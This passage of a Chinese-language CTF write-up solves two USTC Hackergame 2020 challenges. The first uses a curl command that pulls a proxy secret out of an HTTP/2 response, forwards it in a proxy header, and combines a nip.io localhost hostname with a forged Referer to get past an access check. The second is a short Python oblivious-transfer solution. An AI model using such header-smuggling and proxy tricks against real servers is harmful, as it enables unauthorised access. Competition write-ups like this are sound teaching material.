curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ -p

> CONNECT www.ustc.edu.cn.127.0.0.1.nip.io:8080 HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 02dcaacbc3
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 0
* Ignoring Content-Length in CONNECT 200 response
<
* Proxy replied 200 to CONNECT request
* CONNECT phase completed!
* CONNECT phase completed!
* CONNECT phase completed!
> GET / HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 07 Nov 2020 07:00:06 GMT
< Content-Length: 57
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 146.56.228.227 left intact
管理中心需要从 '146.56.228.227' 被访问(Referer)

基本成功了,提示需要有 Referer,加上即可

最终的代码是

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ -p -H "Referer: https://146.56.228.227"

不经意传输

只会做第一问,太菜了

跟着 Oblivious transfer - Wikipedia 写代码即可

#!/usr/bin/env python3

n = 120187360767684036586783392583228452944023309698987007544198810550172001405033630234447617141947903509217793420103237126593247533025308396147198588107367478436300629769476188894168896590332542162241112109043741871820537529272608982082358297184173208281668070912847857293866277687347269846596106443813012830319
e = 65537
x0 = 22243556750882826592674375954759704463678229594099093094960176176606771068638236672482253738126223155361669457619783690843716323125385106671769651807397384759307871208163025849454514530425299120461008570117053792332198800602734484655567629611985289240084599541545763295858976023808863130703939688221641531250
x1 = 106959322767765524577198052628782764198123969265347246334577755112843928607591413291530762709088195426879300827215246873767033718048509943367541733138692092487925633593166450569876332231021223786051650586256686335150920680861900540984611382746740527473651397228148625114316332802582017918549435106930327241692

k = 1145141919810
v = (x0 + k ** e) % n

print(v)

m0_ = 35251617310601009600442243296057202591251700995064342152628151825481739736016968156990614918876998869857956037018980531542828298906511429872474001158529160120494217709127193141241760160766094345013506324191740613002398326596498368171731580003194830544586356619389634723251234154759779387634245406926452569977
m1_ = 69133011033899770447313163376643607296502535648189914597765931208911716305592621419751488897369974945977591138357697068827509969481410273603193545811820862993165907973613236887839931818094810809743970854166526255515249621056049057624092936642720759230297967612815785794126614106249628584904607135654274494944

m0 = m0_ - k

print(m0)

最后

本 Writeup 整理的比较仓促,一些细节可能也未能到位解释。

建议食用官方 Writeup,https://github.com/USTC-Hackergame/hackergame2020-writeups